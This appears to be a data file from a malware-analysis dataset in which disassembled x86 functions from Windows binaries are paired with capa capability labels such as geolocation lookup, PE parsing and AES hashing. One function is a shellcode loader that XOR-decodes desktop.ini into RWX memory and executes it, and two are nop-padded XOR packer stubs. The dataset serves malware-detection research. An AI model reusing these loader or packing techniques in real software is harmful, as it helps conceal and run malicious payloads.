joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ad00
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [0x1ae2f1c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46ae6c
sub esp, 0x48
movzx ecx, byte [esp + 0x68]
test cl, cl
je 0x46ae1c
lea edi, [esp + 0x28]
xor eax, eax
call fcn.0047b41a
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x28], ecx
mov edx, dword [esp + 0x5c]
mov dword [esp + 0x2c], edx
mov ebx, dword [esp + 0x60]
mov dword [esp + 0x30], ebx
mov ebx, dword [esp + 0x64]
mov dword [esp + 0x34], ebx
movzx ebx, byte [esp + 0x68]
movzx ebx, bl
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], 0
mov ebx, dword [esp + 0x4c]
mov dword [esp], ebx
mov ebx, dword [esp + 0x50]
mov dword [esp + 4], ebx
mov ebx, dword [esp + 0x54]
mov dword [esp + 8], ebx
mov byte [esp + 0xc], 0x19
lea ebx, [esp + 0x28]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], 3
call fcn.00467950
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
movzx ebp, byte [esp + 0x69]
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x46ae0c
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov eax, dword [esp + 0x58]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 0x44], eax
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], ebx
mov byte [esp + 0xc], 0x22
lea eax, [esp + 0x40]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x18], 1
call fcn.00467950
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x24]
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], edx
mov dword [esp + 0x74], ebx
add esp, 0x48
ret
call fcn.00443c40
lea eax, [0xe45e26]
mov dword [esp], eax
mov dword [esp + 4], 0xe
call fcn.004444b0
mov eax, dword [esp + 0x58]
mov dword [esp], eax
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], eax
call fcn.004441a0
call fcn.00443e50
call fcn.00443ca0
lea eax, [0xe81266]
mov dword [esp], eax
mov dword [esp + 4], 0x2f
call fcn.00441d50
nop
call fcn.00479d50
jmp fcn.0046ad00
Function at 0x46ce40
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [0x1ae2f1c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46cf3d
sub esp, 0x38
mov eax, dword [esp + 0x40]
cmp eax, 0xf
jne 0x46ce8f
mov eax, dword [esp + 0x3c]
mov dword [esp], eax
lea ecx, [0xe474ba]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
call fcn.00406e60
movzx eax, byte [esp + 0xc]
test al, al
jne 0x46cf19
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x3c]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0046cd30
mov eax, dword [esp + 8]
mov dword [esp + 0x34], eax
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x30], ecx
mov edx, dword [esp + 0x18]
mov dword [esp + 0x2c], edx
mov ebx, dword [esp + 0xc]
mov dword [esp + 0x28], ebx
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x24], ebp
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x20], esi
call fcn.00443c40
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
call fcn.004444b0
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
call fcn.004444b0
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.004444b0
call fcn.00443ca0
add esp, 0x38
ret
call fcn.00443c40
lea eax, [0xe39d01]
mov dword [esp], eax
mov dword [esp + 4], 5
call fcn.004444b0
call fcn.00443ca0
add esp, 0x38
ret
call fcn.00479d50
jmp fcn.0046ce40
Function at 0x46d030
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [0x1ae2f1c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46d245
sub esp, 0x30
call fcn.00443c40
lea eax, [0xe41a80]
mov dword [esp], eax
mov dword [esp + 4], 0xb
call fcn.004444b0
call fcn.00443ca0
mov eax, dword [esp + 0x34]
test eax, eax
jne 0x46d075
xor ecx, ecx
xor edx, edx
jmp 0x46d092
mov ecx, dword [eax + 4]
mov edx, dword [esp + 0x38]
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.0045ff00
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov edx, eax
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.0046ce40
mov eax, dword [esp + 0x44]
test eax, eax
setne cl
mov edx, dword [esp + 0x40]
test edx, edx
setne bl
or ecx, ebx
test cl, cl
je 0x46d0ea
call fcn.00443c40
lea eax, [0xe45e34]
mov dword [esp], eax
mov dword [esp + 4], 0xe
call fcn.004444b0
mov eax, dword [esp + 0x40]
mov dword [esp], eax
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
call fcn.004441a0
call fcn.00443ca0
call fcn.00443c40
call fcn.00443e50
call fcn.00443ca0
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [esp + 0x38]
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.0045fdd0
mov eax, dword [esp + 0x3c]
cmp dword [esp + 8], eax
jae 0x46d11e
lea ecx, [eax - 1]
jmp 0x46d120
mov ecx, eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov edx, dword [esp + 0x38]
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov byte [esp + 0xc], 1
call fcn.00460da0
mov eax, dword [esp + 0x18]
mov dword [esp + 0x20], eax
sar eax, 0x1f
mov dword [esp + 0x28], eax
mov edx, dword [esp + 0x10]
mov dword [esp + 0x2c], edx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x24], ebx
call fcn.00443c40
lea eax, [0x13be268]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.004444b0
mov eax, dword [esp + 0x2c]
mov dword [esp], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 4], eax
call fcn.004444b0
lea eax, [0x13be16c]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.004444b0
mov eax, dword [esp + 0x20]
mov dword [esp], eax
mov eax, dword [esp + 0x28]
mov dword [esp + 4], eax
call fcn.004442d0
call fcn.00443ca0
mov eax, dword [esp + 0x34]
mov ecx, dword [eax]
mov edx, dword [esp + 0x38]
mov dword [esp], edx
mov dword [esp + 4], ecx
call fcn.0045fdd0
mov eax, dword [esp + 0x3c]
cmp dword [esp + 8], eax
jae 0x46d232
mov eax, dword [esp + 0x34]
mov eax, dword [eax]
mov ecx, dword [esp + 0x38]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0045fdd0
mov eax, dword [esp + 8]
mov dword [esp + 0x1c], eax
call fcn.00443c40
lea eax, [0xe385fc]
mov dword [esp], eax
mov dword [esp + 4], 2
call fcn.004444b0
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x1c]
sub eax, ecx
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00444340
call fcn.00443ca0
call fcn.00443c40
call fcn.00443e50
call fcn.00443ca0
add esp, 0x30
ret
call fcn.00479d50
jmp fcn.0046d030
Function at 0x46e450
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0x1ae2f1c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46e4eb
sub esp, 0x30
lea ecx, [esp + 0x34]
mov dword [esp + 4], ecx
mov edx, dword [0x1ae2f1c]
mov edx, dword fs:[edx]
mov edx, dword [edx]
mov dword [esp + 8], 0
lea edi, [esp + 0xc]
xor eax, eax
call fcn.0047b417
lea ecx, [0x46e500]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
lea ecx, [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0xc]
mov dword [esp], ecx
call fcn.00479c60
mov ecx, dword [esp + 8]
mov dword [esp + 0x44], ecx
add esp, 0x30
ret
call fcn.00479d50
jmp fcn.0046e450

Function at 0x46e700
Capabilities:
Get geographical location

Disassembly:
mov ecx, dword [0x1ae2f1c]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46e85f
sub esp, 0x18
call fcn.00455370
cmp dword [esp], 1
jg 0x46e856
movzx eax, byte [esp + 0x28]
cmp al, 0x16
jne 0x46e74d
movzx eax, byte [esp + 0x2d]
cmp al, 0xa
je 0x46e74d
cmp al, 0x13
je 0x46e74d
cmp al, 0xf
je 0x46e74d
mov byte [esp + 0x30], 0
add esp, 0x18
ret
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x46e75b
xor ecx, ecx
xor eax, eax
jmp 0x46e773
mov dword [esp], eax
mov eax, dword [esp + 0x20]
mov dword [esp + 4], eax
call fcn.0045ff00
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp ecx, 0xf
je 0x46e784
xor edx, edx
jmp 0x46e7ad
mov dword [esp], eax
lea ecx, [0xe474ba]
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xf
call fcn.00406e60
movzx eax, byte [esp + 0xc]
mov ecx, dword [esp + 0x10]
mov edx, eax
mov eax, dword [esp + 0x14]
test dl, dl
je 0x46e7c3
movzx edx, byte [esp + 0x2c]
test dl, dl
jne 0x46e7c3
mov byte [esp + 0x30], 1
add esp, 0x18
ret
mov dword [esp], eax
mov dword [esp + 4], ecx
mov byte [esp + 8], 0x2e
call fcn.00406ed0
mov eax, dword [esp + 0xc]
test eax, eax
jl 0x46e84c
mov eax, dword [esp + 0x10]
cmp eax, 8
jge 0x46e7e9
xor ecx, ecx
jmp 0x46e812
mov eax, dword [esp + 0x14]
mov dword [esp], eax
lea ecx, [0xe3de47]
mov dword [esp + 4], ecx
mov dword [esp + 8], 8
call fcn.00406e60
movzx eax, byte [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x10]
test cl, cl
je 0x46e845
cmp eax, 8
jle 0x46e841
mov eax, dword [esp + 0x14]
cmp dword [eax], 0x746e7572
jne 0x46e841
cmp dword [eax + 4], 0x2e656d69
jne 0x46e841
movzx eax, byte [eax + 8]
cmp al, 0x41
jb 0x46e841
cmp al, 0x5a
setbe al
jmp 0x46e84e
xor eax, eax
jmp 0x46e84e
mov eax, 1
jmp 0x46e84e
xor eax, eax
mov byte [esp + 0x30], al
add esp, 0x18
ret
mov byte [esp + 0x30], 1
add esp, 0x18
ret
call fcn.00479d50
jmp fcn.0046e700
Function at 0x47b000
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movd xmm0, dword [esp + 8]
pinsrw xmm0, ebx, 4
pshufhw xmm0, xmm0, 0
movdqa xmm1, xmm0
pxor xmm0, xmmword [0x1ae39e0]
aesenc xmm0, xmm0
cmp ebx, 0x10
jb 0x47978b
je 0x4797de
cmp ebx, 0x20
jbe 0x4797e4
cmp ebx, 0x40
jbe 0x47982a
jmp 0x4798cb
test ebx, ebx
je 0x4797d4
add eax, 0x10
test ax, 0xff0
je 0x4797c0
movdqu xmm1, xmmword [eax - 0x10]
add ebx, ebx
pand xmm1, xmmword [ebx*8 + 0x13cdc00]
pxor xmm1, xmm0
aesenc xmm1, xmm1
aesenc xmm1, xmm1
aesenc xmm1, xmm1
movd dword [edx], xmm1
ret
movdqu xmm1, xmmword [eax + ebx - 0x20]
add ebx, ebx
pshufb xmm1, xmmword [ebx*8 + 0x13cdd00]
jmp 0x4797a8
aesenc xmm0, xmm0
movd dword [edx], xmm0
ret
movdqu xmm1, xmmword [eax]
jmp 0x4797a8
pxor xmm1, xmmword [0x1ae39f0]
aesenc xmm1, xmm1
movdqu xmm2, xmmword [eax]
movdqu xmm3, xmmword [eax + ebx - 0x10]
pxor xmm2, xmm0
pxor xmm3, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
aesenc xmm2, xmm2
aesenc xmm3, xmm3
pxor xmm2, xmm3
movd dword [edx], xmm2
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x1ae39f0]
pxor xmm2, xmmword [0x1ae3a00]
pxor xmm3, xmmword [0x1ae3a10]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax]
movdqu xmm5, xmmword [eax + 0x10]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
pxor xmm4, xmm0
pxor xmm5, xmm1
pxor xmm6, xmm2
pxor xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
movdqa xmm2, xmm1
movdqa xmm3, xmm1
pxor xmm1, xmmword [0x1ae39f0]
pxor xmm2, xmmword [0x1ae3a00]
pxor xmm3, xmmword [0x1ae3a10]
aesenc xmm1, xmm1
aesenc xmm2, xmm2
aesenc xmm3, xmm3
movdqu xmm4, xmmword [eax + ebx - 0x40]
movdqu xmm5, xmmword [eax + ebx - 0x30]
movdqu xmm6, xmmword [eax + ebx - 0x20]
movdqu xmm7, xmmword [eax + ebx - 0x10]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
dec ebx
shr ebx, 6
movdqu xmm0, xmmword [eax]
movdqu xmm1, xmmword [eax + 0x10]
movdqu xmm2, xmmword [eax + 0x20]
movdqu xmm3, xmmword [eax + 0x30]
aesenc xmm4, xmm0
aesenc xmm5, xmm1
aesenc xmm6, xmm2
aesenc xmm7, xmm3
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
add eax, 0x40
dec ebx
jne 0x47992a
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
aesenc xmm4, xmm4
aesenc xmm5, xmm5
aesenc xmm6, xmm6
aesenc xmm7, xmm7
pxor xmm4, xmm6
pxor xmm5, xmm7
pxor xmm4, xmm5
movd dword [edx], xmm4
ret
cmp byte [0x1ae2c56], 0
je 0x47b01a
mov eax, dword [esp + 4]
mov ebx, dword [esp + 0xc]
lea edx, [esp + 0x10]
jmp 0x479750
jmp fcn.0040dad0
Function at 0x1002752a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10027569
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10027569
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10027569
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10027569
cmp dword [ecx + 0x74], 0xe
jbe 0x10027569
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10029ef4
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x10029f91
push ebx
push esi
call fcn.10029ebd
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.10029e51
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x10029f3e
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10029f90
push edi
push eax
call fcn.100287f2
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x10029f5e
call fcn.10028840
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x10029f8f
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.10029e51
add esp, 0x20
test eax, eax
jne 0x10029f7d
push edi
call fcn.10028840
jmp 0x10029f85
push ebx
call fcn.10028840
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1002a1fe
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100322d0
push 0x100322c8
push str.FlsAlloc
push 0x1f
call fcn.1002a11a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002a232
push dword [ebp + 8]
mov ecx, esi
call dword [0x10030150]
call esi
jmp 0x1002a238
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1002a27c
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100322e0
push 0x100322d8
push str.FlsGetValue
push 0x21
call fcn.1002a11a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002a2b3
push dword [ebp + 8]
mov ecx, esi
call dword [0x10030150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1002a2bb
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x100322e8
push 0x100322e0
push str.FlsSetValue
push 0x22
call fcn.1002a11a
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1002a2f5
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10030150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1002f800
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002f82d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002f82d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4c9000
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x4d73e8
call fcn.004b9b94
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.004d174d
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x4c903f
call fcn.004d174d
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov edi, eax
test edi, edi
je 0x4c904d
push edi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x4c905b
or eax, 0xffffffff
jmp 0x4c9143
mov ecx, esi
call fcn.004c8f76
mov dword [ebp - 0x14], eax
call fcn.004c9e31
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x4c9092
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x4c9092
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.004c9de5
push dword [ebp - 0x14]
call fcn.004c9917
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.004c8d0e
cmp eax, edi
je 0x4c9105
test byte [esi + 0x24], 0x10
je 0x4c90d3
push 4
mov ecx, esi
pop ebx
call fcn.004cc184
test ah, 1
je 0x4c90cb
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.004cbb26
cmp dword [esi + 0x1c], edi
je 0x4c9105
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.004cc29d
jmp 0x4c9105
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x4c9119
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x4c9132
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x4c9132
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.004c8fb0
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4ca2e2
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4ca31a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004c836f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004c8347
jmp 0x4ca326
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x4cb9d4
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4cba16
call fcn.004d174d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x4cba16
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x4cba0d
xor eax, eax
jmp 0x4cba1e
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004cba24
pop edi
pop esi
pop ebx
ret 4

Function at 0x4d1c7d
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4d1cab
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x4d1cc9
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004d1be3
jmp 0x4d1cc9
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4d1cc9
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004d1be3
test edi, edi
mov eax, edi
jne 0x4d1cb3
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x42e030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x42e01e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x5be608b1
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x417e648c
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219